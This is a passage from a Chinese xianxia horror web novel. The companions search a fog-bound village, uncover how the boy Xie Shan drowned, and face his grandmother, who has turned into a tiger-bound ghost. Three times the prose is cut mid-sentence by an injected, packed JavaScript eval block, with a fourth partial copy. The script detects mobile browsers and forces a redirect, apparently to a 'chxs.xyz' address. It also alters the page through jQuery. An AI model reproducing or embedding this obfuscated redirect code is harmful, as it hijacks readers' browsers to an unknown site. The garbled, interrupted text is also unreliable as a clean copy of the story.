贺千宸似是想起什么,他眉心紧皱,漆黑的眸色无比深沉。 “我们忽略了一件事。” 姜桡抬眸看向贺千宸,脸上露出疑惑的神情,陆观棋与许念儿也皆都望过去,等待着他的答案。 在只有月亮出来才会安全的黑雾里,贺千宸不想浪费时间。 “边走边说吧。” 姜桡也反应过来,他们来此处是为了拿和离书,既然和离书到手,眼下最重要的便是赶到河边那棵老柳树处,询问阮娘溪水边到底发生了什么! “对!得快些赶回去才行。” 在赶去老柳树的路上,贺千宸说出自己的发现。 在外界他曾去过不少秘境,因此四人当中算他经验最足,也较早的察觉到黑雾中的异常。 许念儿瞧见爹娘与阿弟碰到邪祟,以及赵有的遭遇,两者看似没什么关联,可若结合那首诡异的小儿啼哭咒,就会发现有不对劲之处。 孩童都是莫名其妙的消失! 何况在遭遇人皮鬼袭击时,贺千宸就发现那些都是成人的皮。 那上河村的孩童去了哪? 姜桡听完这话,瞬间恍然大悟,她丝毫不吝啬的夸赞道。 “程千鹤,你可真聪明!” 贺千宸嘴角忍不住偷偷的向上扬起,眼底更是盛满了笑意,而他头顶之上的那多小乌云更是得意的挺了挺不存在的胸膛。 紧跟在身后的陆观棋则惊呼起来。 “这些孩童会不会被邪祟给吃掉了?” 那古书中没少写,邪祟会通过吃孩童或饮童子血增加修为。 贺千宸先是沉默片刻,而后开口否决。 “人皮鬼都是上河村的村民死后所化,若是如此,被邪祟吃掉的孩童应该也会化为人皮鬼。” 姜桡立即反应过来:“他们还活着?” 这次贺千宸既没有否定,却也没有肯定,只是语气低沉且严肃的回应道。 “被黑雾包裹的上河村透着诡异与危机,兴许还有很多我们未发现的线索与秘密,故此孩童是生还是死,我也不知如何作答。” 姜桡见贺千宸提到黑雾,不由蹙紧眉心,她小声呢喃着。 “那我们得快些离开才行。” 从预知梦的场景来看,姜桡觉得只有找到灭世魔头,将其诛杀,这危害里界的黑雾便可自动散去。 贺千宸垂眸,他眼底温柔的安慰:“放心,我们一定能离开。” 四人没走多久便瞧见河边的老柳树,而柳树枝干上的那抹红在清冷的月色下格外显眼。 阮娘察觉四人的气息后,连忙从枝干上飘落下来,头上的鸳鸯戏水红盖头也随之晃动着。 她有些迫切又有些不安的问道:“如何了?” 姜桡连忙拿出那封沾有血迹的和离书,递到阮娘的面前。 透过下方缝隙,阮娘瞧见期待已久的和离书,立即忍不住笑了起来,只是笑着笑着便哭了出来,发黑的血泪顺着她的眼眶滚而下,只是还未沾地便蒸发散去。 “谢……谢谢你。” 姜桡连忙摆摆手:“是陆观棋布阵招魂,我什么都没做。” 阮娘侧身对着陆观棋所在的方向,语气有些哽咽。 “陆公子,你的恩德无以回报……。” 话还未说完,就被陆观棋给急忙打断。 “千万别说来世做牛做马报。” 那些鬼怪话本子他可没少看。 阮娘沉默了片刻,才幽幽的开口:“奴家虽被困百年,但并不是傻子。” 陆观棋:…… 这让姜桡忍不住拽了拽贺千宸衣角,在她踮起脚尖时,贺千宸就已低下头。 姜桡一本正经且疑惑的凑在贺千宸耳边轻声嘀咕着。 “怎么跟我在镇上看的戏折子不太一样?” 贺千宸直接愣住,随即想起姜桡曾与他说的,救命之恩当以身相许,看来也是从戏折子那学来的。 此时尴尬直摸鼻尖的陆观棋只能转移话题。 “和离书也帮你拿到了,那你何时告知我们河边曾发生过的事?” 阮娘那双血肉模糊的双手扯了扯红盖头,提醒道。 “奴家的香火与新的衣裳。” 许念儿连忙将护在怀里的福衣递给陆观棋,陆观棋接过来后,才猛的想起来,自己并未携带火石,没有火石便烧不了福衣,更点不燃香火。 半响,陆观棋求助的看向贺千宸。 贺千宸只能走上前,接过陆观棋手中那三炷香,又吩咐他把福衣放置在柳树下方,才施展离火术。 伴随三炷香点燃,五套福衣也被火舌吞噬。 姜桡见状,连忙上千将和离书也丢进火里头。 在福衣与和离书化为灰烬之后,身后的阮娘也发生了变化,鸳鸯戏水的红盖头消失不见,露出阮娘那张秀气苍白的脸,红色嫁衣也变成了浅绿色的长裙。 没有红盖头的遮挡,四人这才瞧见阮娘的脖子上挂着一个麻绳套。 恢复自由身的阮娘解释道:“拜完堂后,夜里他们就把我挂在这。” 那血肉模糊的双手是她苦苦挣扎的证据。 可最终还是化为怨气十足的枉魂,被困在柳树下,亲眼看着自己尸体在空中晃荡着,从往事中挣扎出去的阮娘,伸手指了指不远处的河边,把当时所看到的一幕讲了出来,也算兑现自己的承诺。 昨日傍晚,太阳还未落山,阮娘坐在高高的树干上,看见河边有名孩童挽起裤脚在河边摸鱼。 阮娘知道孩童名为谢山,还经常受村里其他孩童欺负。 这不没一会,那群经常欺负谢山的孩童们就过来,他们嬉笑着拿着岸边的石头砸向谢山,可让人没想到的是,意外发生了! 不知是那个孩童将石头砸向谢山的脑袋,谢山直接被砸晕过去,眨眼的功夫就消失在水里头。 那群孩童瞬间被吓呆住,恰逢大人们过来寻人回家吃饭,而让阮娘感到气愤的是,那群孩童竟心照不宣的相互看一眼,什么都没说就离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555899|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 明明只要开口,谢山就能立马被人给救上来。 后来阮娘尝试过操控柳树枝将人给捞起来,但柳树枝无法承受谢山的重量,最终柳树枝断裂,谢山被流水给带走。 听完这样,四人皆都陷入沉默,他们都没想到,事情真相竟是这般。 陆观棋忍不住问道:“会不会是谢山死后怨气过重,才引起黑雾包裹着上河村?” 贺千宸摇头否决,脸上神情也越发严肃起来。 “那首小孩啼哭咒又作何解释?” 他感觉事情的真相让他们又绕回了原点,黑雾为何出现?诡异的小孩啼哭咒,在暗处盯着他们的那抹黑影,以及将上河村的村民变成无气鬼的凶手,这些都没有头绪。 姜桡似是想起什么,她开口道:“我见过谢山。” 陆观棋有些诧异:“江姑娘曾来过上河村?” 姜桡摇了摇头。 “在别处,不过我见到的应是谢山亡魂,他似乎并不知道自己死了,还让我帮忙找回家的路。” 这话倒也提醒了陆观棋,他侧目看向许念儿。 “你认识那谢山吗?。” 许念儿低着头,小声道:“不是很熟。” 她每天有很多很多活要干,也只在后山割猪草时与谢山碰过面,却极少说话。 贺千宸目光落在前方那条波光粼粼的河流,思索片刻后,开口提议。 “我们先过去看看。” 姜桡与阮娘告别后,就跟在贺千宸的身边朝那河流方向走去,而阮娘身形也缓缓隐入垂柳树内。 虽已恢复了自由身,但她同样也被黑雾困住。 底下那条河流横穿两条村落,最终汇入九潏,此时正朝着远处缓缓流淌。 待靠近之后才发现,河岸边满是形状大小不一的石头,继续向前几步,便会发现河水的颜色显得有种说不出来的诡异感。 水清则浅,水绿则深,水黑则幽。 眼前的这条河水在月色下呈幽黑色,只是一眼,便让人心里涌出不安与恐惧。 陆观棋挪开视线,而后倒吸一口凉气:“这水怎么没底似的。” 许念儿眼底却浮现困惑的神情,她小声道。 “之前,不是这样。” 在许念儿的印象中,这条河流纵使深了些,但常年清澈见底,纵使在雨水季,也不会呈这样的颜色。 姜桡想了想:“兴许是因黑雾的缘故。” 也不知是不是预知梦的缘故,让姜桡先入为主,她一直认为上河村的祸事是因黑雾所导致的。 此时贺千宸忽察觉到异样,他边拽住姜桡的手腕,边喊道。 “都朝后退!” 河水不知在何时竟悄悄地漫延过来。 两人身手灵敏,很快就退到安全的地方,陆观棋跟许念儿动作稍微慢些,冰冷刺骨的河水很快就浸湿他们的双脚。 姜桡见状,急忙想把许念儿给拉过来,可手刚伸到半空中,一股强大的力量便缠在两人的小腿处,在陆观棋吓得双眼瞪得极大,还未来得及呼救,就同许念儿一起被拽入那如墨水般的河中。 13. 第十三章 姜桡急忙掏出玉埙,可还没来得及吹响,两人便消失不见,这吓得她脸色都白了几分。 可很快姜桡就冷静了下来,她侧目看向贺千宸,语气坚定。 “我们得去救人!” 贺千宸看着正在慢慢退下去的河水:“好!” 死过一次的他,早已失去对别的怜悯,唯有姜桡是例外,无论危险不危险,既然她想去救人,那便去救人。 姜桡边将玉埙放在嘴边,边叮嘱贺千宸:“待会你记得抓紧我的手!” 贺千宸瞬间愣在原地,在轻“嗯”一声后,那耳根子迅速红了起来,那双狭长的丹凤眼中也露出几分无错。 舒缓缱绻的埙声缓缓响起,点点星光化为一尾肥鲤鱼,鲤鱼在半空中游荡在姜桡面前,张嘴吐出个泛着五光十色的水泡。 在水泡变大的瞬间,姜桡迅速抓紧贺千宸的手,带着他一起窜进水泡中,而后操控着水泡朝河里头钻去。 无尽的黑暗瞬间吞噬了两人,但亦如姜桡所猜想那般,水中似乎有股无形的力量,硬拽着水泡去向深处。 姜桡小声嘀咕着:“也不知这水中藏着什么样的邪祟!” 水泡虽能容纳两个人,但却十分的拥挤。 贺千宸下颚正抵在姜桡的头顶上,他全身僵硬的宛如一块木头,特别在姜桡说话时,口中喷洒的热气直接落入他的颈部处,直接让贺千宸脑子一片空白。 也好在两人是处在伸手不见五指的黑暗中,若不然姜桡定能看见贺千宸满脸羞红与慌乱的模样。 那股力量正带着水泡飘荡到一处水洞内,随着光透了进来,姜桡下意识眯起眼,但还是一眼就瞧见昏迷在岸边的许念儿与陆观棋,但奇怪的是,那股力量也随之消失,就好像特意引他们来到这个地方似的。 贺千宸也察觉到了这点,他下意识侧身,在用自己身体护住姜桡后,才声音低沉道。 “我来走前面!” 姜桡也没反对,她轻声道:“小心点。” 水泡消失的瞬间,贺千宸右脚轻点带着姜桡腾空跃起,并十分轻盈的落在地面上,姜桡也趁机打量着四周。 两人身后应该山洞中的暗河,与村中的河水相连,山洞空间不是很大,从山洞缝隙落下来的光能就瞧见远处的出口。 落地后,姜桡连忙赶到已经昏迷过去的陆观棋与许念儿面前,两人浑身湿透,脸色更是苍白的厉害,好在人还有气息,三魂六魄也没丢,只需要等着他们醒来就行。 在等待的过程里,两人从四周寻了些干柴过来,堆在陆观棋与许念儿旁侧点燃,差不多半盏茶的功夫,他们才缓缓睁开眼。 陆观棋瞥见贺千宸与姜桡的瞬间,宛如找到了主心骨,内心的恐惧也消散大半,他后怕道。 “我还以为自己死定了!” 话音刚落,许念儿忽抱着右腿,痛得只哼哼起来。 姜桡连忙上前,她半蹲在许念儿面前,动作轻柔的将她裤脚朝上挽起,只见那瘦弱的小腿上印着一只发黑的小手印。 陆观棋见状先是一愣,随后挽起自己裤脚,那小腿上赫然也印着一只发黑的小手印。 这吓得他声音发颤道。 “这难道是恶鬼索命标记吗?” 姜桡见识少,哪懂那手印代表什么,只能求助看向贺千宸。 贺千宸见状,开口解释:“只是水鬼留下的手印,不过阴气入体,疼痛也正常,过几日就好了。” 姜桡却十分疑惑的指了指陆观棋:“那他为什么不会腿疼?” 贺千宸继续解释道:“许是八字命格不同,导致陆观棋阳气足,可以压抑住阴气,许念儿则反之。” 姜桡恍然大悟的点了点头,随即开口安抚身边的许念儿。 “别怕,过几天就好了。” 许念儿有些怯生生的点点头,似是想起什么,她抿着唇犹豫半响,才小声道。 “我看到了…谢山。” 姜桡!!!! 听许念儿这么说,陆观棋也连忙道:“被水呛晕过去之前,我隐隐约约瞧见一名孩童的身影。” 许念儿开口:“那就是…谢山。” 与陆观棋不同的是,她瞧见了谢山的正脸,虽那张脸苍白的厉害,但自己是不会认错。 结合两人所说的话,贺千宸敛下眼眸,漆黑的眸子中露出几分沉思神色。 姜桡抬头见他嘴角紧绷且神情严肃,忍不住问道。 “是有什么问题吗?” 贺千宸抬眸对上姜桡那担忧的目光,说出自己的猜想。 “这地方应是谢山故意引我们来的。” 姜桡很快就反应过来:“怪不得当时有股力量扯着我们前进。” 那水泡虽不是姜桡吐出来的,但也能察觉出几分异常来。 这时陆观棋忍不住呢喃道:“兴许我猜测是对的,罪魁祸首就是谢山。” 姜桡则开口反驳:“若罪魁祸首是谢山的话,你还有活命的机会?” 陆观棋没吭声,反正不管谢山有怎样目的,那被冰冷刺骨的河水吞噬的绝望感,他是不想体验第二遍。 贺千宸目光落在不远处的洞穴外,提议道:“我们先出去看看。” 谢山既故意引他们来,想必这地方有什么不同寻常之处,或许洞穴之外就有答案。 姜桡对贺千宸的提议没意见。 只是…… “要不要等他们衣裳先烘干?” 陆观棋连忙摆手:“衣裳湿了不打紧,早些寻到出去的法子才重要!” 坐在旁侧的许念儿也“嗯”了声。 于是两人就拖着湿漉漉的衣裳跟在贺千宸与姜桡身后,一步一步朝着洞穴外的方向走去。 出了洞穴,外面是片开阔的草地,甚至能远远的瞧见下方的上河村,许念儿只一眼就认出来,这是村子的后山,平日里她都是在山脚旁割猪草。 姜桡眼尖,伸手指向左侧上方:“那有一滩奇怪的水渍。” 贺千宸连忙走上去,陆观棋连忙紧跟在他身后,生怕落单又被谢山给抓了过去,这让贺千宸不由蹙紧眉心的停下脚步,语气冷漠的警告道。 “别跟我这么近!” 陆观棋也不生气,他想了想,朝后退了三步,然后抬头看几眼贺千宸的脸色,又朝后退了三步。 贺千宸:……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,他又看了一眼前方那五具倒挂的尸体:“或许这五个人正是害谢山的罪魁祸首,是谢山杀了他们,然后将其悬挂在这的!” 贺千宸沉默片刻才道:“你说的无不道理。” 可随即他话锋一转。 “就算前方是陷阱,我们也要过去,只有过去我们才能清楚谢山的目的,以及这场黑雾的来源。” 这番话让陆观棋瞬间感到心服口服。 姜桡更是带着崇拜的目光望向贺千宸,心中不由暗想,不愧是她,竟捡了个这么厉害的帮手。 盘旋在贺千宸脑袋上的小乌云察觉到姜桡目光,略微得意的膨胀期起来,体型也“咻咻”的增长不少。 姜桡连忙“瞪”了眼小乌云,那小乌云才委屈的缩小体型,继续焉儿吧唧的趴在贺千宸脑袋上,看起来可怜极了! 站在旁侧的贺千宸误以为姜桡是在瞪自己,眼底瞬间露出慌乱且无措的神色,并反复琢磨刚刚有没有说错话说的话。 那模样像是一个犯了错的孩子。 14. 第十四章 陆观棋见贺千宸神色突然凝重,也跟着紧张起来,他声音有点哆嗦道。 “程大哥,可是邪祟杀过来了?” 贺千宸没有理会,那薄唇依旧紧抿成一条直线,眉心急蹙的站在原地。 姜桡也有些疑惑的走上前,她轻轻扯了扯贺千宸的衣角,担忧的问道。 “怎么了?” 贺千宸这才回过神来,他眼眸低垂,目光落在姜桡扯自己衣角的那只手上,蹙紧的眉才缓缓舒张开。 阿桡在关心他!!! 那是不是就原谅自己了!! 贺千宸不由偷偷松了口气,心情也好上几分。 “我只是在想那五名死去的孩童,为何没有化为人皮鬼?” 他声音低沉而又温柔。 姜桡连忙看向那五具倒挂的尸体,似是想到什么,直接走到尸体面前。 五具孩童尸体肤色呈青灰色,是被草绳捆绑的挂在那,她脸上没有露出任何畏惧神情,只是观察片刻,姜桡心里就涌出一个可怕的猜测。 她连忙示意贺千宸过来,并道。 “他们的阴魂会不会被吃了!” 阴魂被吃,便代表魂飞魄散无来世,是一种极其残忍歹毒的做法。 人死过后,三魂六魄聚成阴魂,会等阴差引路去往地府,轮回转世。 而滞留尘世间没入轮回为亡魂,因怨气与执念困住则为枉魂。 那些变成人皮鬼的上河村村民本是亡魂,却因吞食活人血肉从而化为邪物! 可这五具尸体皆不属于以上四种情况,姜桡瞧见尸体内满是黑气,亦如笼罩在他们头顶之上的黑雾,死气沉沉。 贺千宸认真观察几番,才给出答案:“有可能。” 或许正是阴魂被吃,才没能变成人皮鬼。 他看向正前方的丛林,神色严峻道:“谢山既是故意引我们来到这,想必前方还有其他的线索,我们继续跟过去。” 姜桡点了点头:“好。” 说罢她便侧过身,朝着不远处的许念儿跟陆观棋伸手示意, “快跟上来!” 陆观棋有些胆怯的瞥了几眼那倒吊的五具尸体,深吸几口水后,还没做好心理准备,就见许念儿已经抬腿向前走去。 他连忙拽着许念儿那瘦弱的胳膊,一脸赔笑道。 “路…路不好走,搀扶前进要安全些。” 许念儿先是愣了愣,然后继续一言不发的朝姜桡所在方向走去。 陆观棋有些不好意思的挠挠头,但拽着许念儿的手依旧紧紧的。 清冷月色洒在这片一望无际的丛林中,落下满地清辉,而四周静谧的只听见脚步踩在落叶上的“沙沙”声,被拉长的树影层层叠叠的拥挤着,它们似是勾肩搭背的看客,冷漠看着前面倒吊着尸体,好奇打量着跨过它们身体的四人。 贺千宸停下脚步,他站在原地看着站在正中间的谢山,而谢山周边是一棵棵树,每棵树枝上都掉倒吊的一具尸体。 远远看去,就一颗沉甸甸的果实。 姜桡瞧见这幕时,直接愣在原地,脑海中瞬间浮现出预知梦的场景。 虽不如梦境中般惨烈,但她深知,这只是一个开端罢了。 陆观棋和许念儿则吓的脸色苍白,这种尸林景观,他们哪曾见过。 这时谢山缓缓转过身,与姜桡在破庙门口看到的不大一样,那张脸早已被水浸泡到发胀,甚至有些脱皮,全身上下湿漉漉的,宛如从水里捞出来般 他抬起头,看了眼那位帮助自己回家的神仙姐姐。 “这些人都是我害死的。” 姜桡!!!! 没等贺千宸挥剑,谢山的身影却再次消失不见,只留在那一具具倒挂在树上的尸体。 此时低垂的黑雾已将圆月遮挡大半,月色也悄无声息的黯淡下去,树叶随着阵阵阴风开始纷乱摇曳,连带着那些倒挂在树上的尸体也跟着晃动起来。 孩童的哀哭声猝然响起,如千万根针扎进耳朵中,让人感到惊恐不安。 神色淡漠的贺千宸正准备动手解决这群躁动的枉魂时,却被姜桡给阻止住。 “你不觉得奇怪吗?” 这些尸体与前面那五具尸体有很大的不同,前者的脑袋被褐色麻布包裹着严严实实,并未是用黑线缝上了五官。 最重要的是,阴魂还在! 贺千宸很快就反应过来:“看来陆观棋猜测的没错,前面那五具尸体应该是害死谢山的凶手。” “只是…” 姜桡抬眸对上贺千宸那双深邃的眼眸,她接过话。 “谢山还是很可疑!” 贺千宸轻“嗯”了声,耳边传来那刺耳的哀哭声,让他那好看的眉眼不由微微向上挑起。 “先解决这些枉魂!” 姜桡听后,直接越过贺千宸走到正前方,她边拿出玉埙边道。 “这些孩童本就枉死,已经很可怜了,总要给他们一个投胎转世的机会。” 话音落后,纤细嫩白的手指在玉埙在舞动起来,只听带有几分欢愉的埙声响起,似是高空的云雀,又似草地的虫鸣。 刺耳的哀哭声逐渐无,阵阵的阴风也被安抚下来,一切皆因姜桡所奏出的埙声而安静下来。 幽暗的丛林中,一只萤火虫从倒挂的尸体中钻了出来,紧接着第二只,第三只……… 贺千宸见状,立即从灵宝袋中寻出一小截低阶阴木,并将其抛向了空中。 因爹娘不喜且偏心,每当贺千宸获得什么好东西,便被拿走送去给弟弟,因此他的灵宝袋中根本就没什么好东西,也好在这低价阴木能够帮到阿桡。 数不清的萤火虫随着埙声的指引,一只只钻入漂浮在半空中的阴木中。 众多孩童枉魂有了寄生之地,埙声也慢慢停下来,悬浮在空中的阴木坠落在姜桡手上,她只觉得沉甸甸的。 姜桡那双杏眸亮晶晶的望着贺千宸,多亏他及时拿出阴木,这件事才能如此顺利。 “程千鹤,谢谢你!” “等我们出去,寻个阴气重的地方把它们给放出来,这群孩童就能入轮回了。” 听到“我们”这两个字,贺千宸眼底藏满着笑意。 “好!等我们出去。” 姜桡小心翼翼的将阴木放进灵宝袋,抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559465|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼被黑雾遮挡大半的圆月,脸上不由露出担忧的神情。 “我们要快些找到谢山才行。” 贺千宸则十分笃定道。 “放心,他不会离我们太远。” 贺千宸侧过身,瞥了眼呆站在不远处的陆观棋与许念儿两人,语气淡漠。 “跟上来!” 说罢,他便手持桃木剑,继续走在前面开路。 陆观棋与许念儿急忙小跑过来,以防万一,姜桡走在最后头。 四人穿过尸林,朝着谢山消失的方向前进着,而没走多久,周边的视野突然变得开阔起来,在不远处的空地上,一株由黑雾凝聚成的花正静静的绽放在那。 黯淡的月光落在这朵诡异的雾花上,有种诡异饿美感,同时也让人更加清楚的看清每片盛开的花瓣,与花梗上那细小的绒毛。 身为灵族,姜桡对花草都十分熟悉,因此只是一眼,就可以从雾花形态来看,就知道这是什么品种的花。 她轻声呢喃道:“是山荷叶!” 贺千宸望向那株诡异十足的雾花,脸上露出一抹不解的神情。 “山荷叶?” 姜桡点了点头,随后开口解释。 “这是一种很神奇的花卉,白色花瓣一旦碰到水就变得透明,真真假假的令人分不清,因此又名骨架花。” “或许…铲除它,笼罩在上河村的黑雾便可消散。” 贺千宸直接道:“那我来试试!” 盘旋在他头顶上的小乌云也做“恶狠狠”的形态来。 没有灵剑,桃木剑亦也可以,只是威力会弱了些。 贺千宸右手持剑,体内灵气聚集,随着桃木剑挥去的瞬间,带着寒意的剑气迸发而出,剑气化为剑光,在晦暗的四周形成白色的长弧,只见银光流动,剑光狠狠地斩向那株正在微微摇曳的山荷叶。 可诡异的是,剑光竟穿过由黑雾凝成的山荷叶,直接砍向前方的山上,只听“轰”的一声巨响,那座山竟被拦腰斩断。 许是没有想过贺千宸一剑威力会如此之大,陆观棋与许念儿被震撼到是脑子一片空白,久久都没回过神来。 贺千宸见斩空后,不由蹙紧眉,而姜桡似是想到什么,弯腰从地上捡起一块石头,朝着那株山荷叶砸去。 这次石头结结实实的砸在山荷叶的花梗上,正当两人为此感到奇怪时,身后忽传来一阵洪亮的虎啸声。 若搁以前,陆观棋肯定慌了神,但刚看到贺千宸那一剑的威力后,他现在丝毫不惧。 “大虫罢了,程大哥一剑就能解决!” 此时月色又黯淡了几分,怕再过不久,黑雾会将悬挂在头顶之上的那一轮圆月彻底吞噬腹中。 而消失不见的谢山也再次出现,那小小的身躯正站在山荷叶面前,身上滴落的水渍也让旁边的山荷花瓣变得透明起来。 这时姜桡猛的想起来师傅曾说过,山荷叶是象征着亲情,它爱得很纯粹,恨得也很纯粹。 站在山荷叶旁的谢山,那张苍白且肿胀的脸上露出焦急的神情,他边看向远处的丛林,边开口催促道。 “快走!她要回来了!” 15. 第十五章 她? 她是谁? 没等众人反应过来,虎啸声再次响起,但很明显的感觉到,声音在他们身后,而且离的很近! 姜桡唤出玉埙瞬间,连忙喊了声贺千宸的名字。 两人几乎同时朝后走一大步,转身将陆观棋与许念儿护在身后。 只见前方的丛林晃动,树叶跟着发出簌簌作响的声儿,一只冒着黄绿光的眼睛正在角落处,死死的盯着他们。 贺千宸很快就察觉到不对劲,他立即拉着姜桡的手往后退了退。 “阿桡,有古怪!” 姜桡也反应过来,并十分笃定道。 “那里头不是老虎!” 可不是老虎的话,又会是什么?难道是谢山口中所说的“她”吗? 丛林再次晃动,树叶摇曳的更加厉害,那只冒着黄绿光的眼睛忽消失不见,那首诡异的小孩啼哭咒却再次响起。 “天惶惶~地惶惶~” “我家有个爱哭郎。” “天勒勒~地勒勒~” “我家娃娃莫要喊。” “阿婆领你去吃糖。” 这时站在山荷叶旁的谢山却开口喊道。 “那些人都是我害死的,他们死有余辜,你们要想离开这,就必须杀了我!” 他这小伎俩很拙劣,拙劣到姜桡与贺千宸一听就明白,谢山这是在替躲在阴暗中的“她”顶罪。 许念儿似是想到什么,猛的抬头朝丛林的方向看去。 犹豫片刻,她声音发颤道。 “是余阿婆!” 这听得陆观棋是摸不着头脑:“什么余阿婆!” 许念儿沉默了好久,才开口解释。 “余阿婆是谢山唯一的亲人,当年她白发人送黑发人,眼睛哭瞎了看不见,因此很少在村子里走动。” 可话音落后,丛林中就传来了嘶哑且焦急的声音。 “是许丫头呀!” “许丫头,你有瞧见我家阿山了吗?阿婆找了好多地方,都没有找到他!” 只见一道人影从阴暗的角落中缓缓走出来,那只冒着黄绿色的眼睛正死死的盯着许念儿。 随着人影暴露在黯淡的月光下,余阿婆的模样也呈现在众人面前。 余阿婆瘦瘦的身个,脊椎微微的弯曲着,白发蓬乱的散落着,那右睛已深深陷了下去,只留下黑漆漆的眼洞,而诡异的是,她左半张脸长出黄黑相间色的毛发,左眼也呈棕黑色的兽眼,而右半张脸依旧是人形,脸色苍白,皱纹重重叠叠,似是块老树皮。 许念儿直接被余阿婆给吓得呆愣在原地,哪还想着回答她的问题。 许是忌讳贺千宸与姜桡,余阿婆并未靠近,而且继续质问道。 与上次的焦急与担忧不同,这次语气带着凄厉与哀嚎。 “阿山!” “阿山回家了!” “是不是你们欺负阿山,害得阿山找不到回家的路!” 姜桡忍不住侧身,指向站在山荷叶旁侧的谢山。 “他就在那呀!” 余阿婆瞥了一眼,可奇怪的是,她似乎认不出谢山,那只棕黑色兽眼更是死死盯着姜桡。 “你骗我!你跟他们一样都骗我!” 谢山红着眼眶,他哭着解释道。 “我赶回来时,阿婆就成这样了,月亮出现时,她才认得我,月亮消失后,就会把我给忘了。” “可自从这株雾花越长越大,阿婆认出我的时辰就越来越短。” “还有那首啼哭咒,本是阿婆哄我开心才会哼的。” 只是他不曾想阿婆会害死那么多人! 所以谢山在察觉到姜桡的气息时,就故意把陆观棋与许念儿拖拽到那处洞穴中,并将他们引到这朵雾花前。 没想到,阿婆也会出现。 贺千宸从看到余阿婆时,就把事情的来龙去脉仔细的梳理一遍,并获得一个残酷的真相。 他冷声道:“她一半意识是伥鬼,另一半意识才是你的阿婆。” 姜桡有些疑惑:“什么是伥鬼?” 贺千宸十分耐心的解释:“伥鬼,被虎所食之人也,为虎前呵道耳。” 许是怕姜桡没听明白,他继续道。 “被老虎吃掉的人,灵魂会依附在老虎身上,变成老虎的奴役,引诱活人食用,其名为伥鬼。” “可余阿婆执念过重,竟压制了老虎,才变成这等模样!” 姜桡瞬间反应过来,脸上也不由的露出惊愕的神情。 她记得许念儿说过,后山有老虎,有好多人瞧见它吃了人,满嘴是血的叼着只断臂。 那个人,是余阿婆! 谢山迟迟不归,余阿婆在家苦苦等待,久了自然会担忧,也自然会焦急的出去寻人,可她双眼瞧不见,只能边喊便摸索着。 可能有人欺骗她,说谢山在后山,亦或者她自己找过去的。 然后……… 一股说不出来的苦涩从姜桡心底涌出,那滋味比乌山最苦的药还要苦。 余阿婆已经彻底失去了理智,黄色的毛发瞬间覆盖她另半张脸,身形也开始拉扯膨胀,最终化为一只巨大的老虎。 随着一声虎啸,老虎额头处似有什么东西要钻出来,很快一颗巨大的肉瘤慢慢挣扎出来,诡异的是那肉瘤竟生有一张脸,一张余阿婆的脸。 “阿山。” “阿山你在哪?” 凄厉而痛苦的呼喊声从老虎体内发出来,余阿婆无论是活着,还是成为伥鬼,她心里依旧惦记着谢山。 巨虎嘴里哈着热气,黑色的粘液慢慢滴落下来,它的双眼已一片血红,正死死的盯着贺千宸与姜桡等人。 只是瞬间就冲过来,仰起锋利的虎爪挥了下来。 贺千宸持剑直接挡住了巨虎攻击,随着灵气聚集,剑意四起,很快一人一虎打的难分难解,但肉眼能看得出来,巨虎正处于下风。 可就在这时,一缕缕黑气如丝线般钻入巨虎体内,巨虎被砍断的右肢竟慢慢愈合,其中一只眼已变成黑色。 随即巨虎似不知疼痛,发了疯般攻击着贺千宸。 姜桡立即寻找黑雾的来源,这才发现是从雾花中延伸出来的。 看来得解决这株雾花! 就当她上前时,谢山却伸手将雾花挡在身后,他语气哽咽的请求道。 “神仙姐姐,雾花不能毁,毁了我阿婆就回不来了。” 一开始谢山以为只要毁了这株诡异的雾花,阿婆就能恢复原来的样子,但刚刚那一幕让他彻底明白过来。 雾花,阿婆,巨虎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573237|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>它们是紧紧连在一起的。 如果没了雾花,巨虎会死,阿婆也就彻底回不来了! 姜桡并未动手,她理解谢山阻止自己的行为。 谢山执念是想回家,因为家里有阿婆在。 可阿婆不在,他的家也就没了 只是。 雾花不拔,伥鬼不除,黑雾也不会散去,死去的人只会越来越多。 姜桡只能残忍的说出真相:“谢山,那不是你的阿婆。” 谢山红着眼眶:“不是的,她还在,她还能认出我!” 姜桡伸手指向与贺千宸缠斗的巨虎:“那你喊几声,看它还应不应你!” 谢山紧抿着唇没吭声。 姜桡继续道:“在引我们过来路上,你也瞧见悬挂在树上的尸体!” 谢山低着头反驳:“他们害死了我,他们该死!” 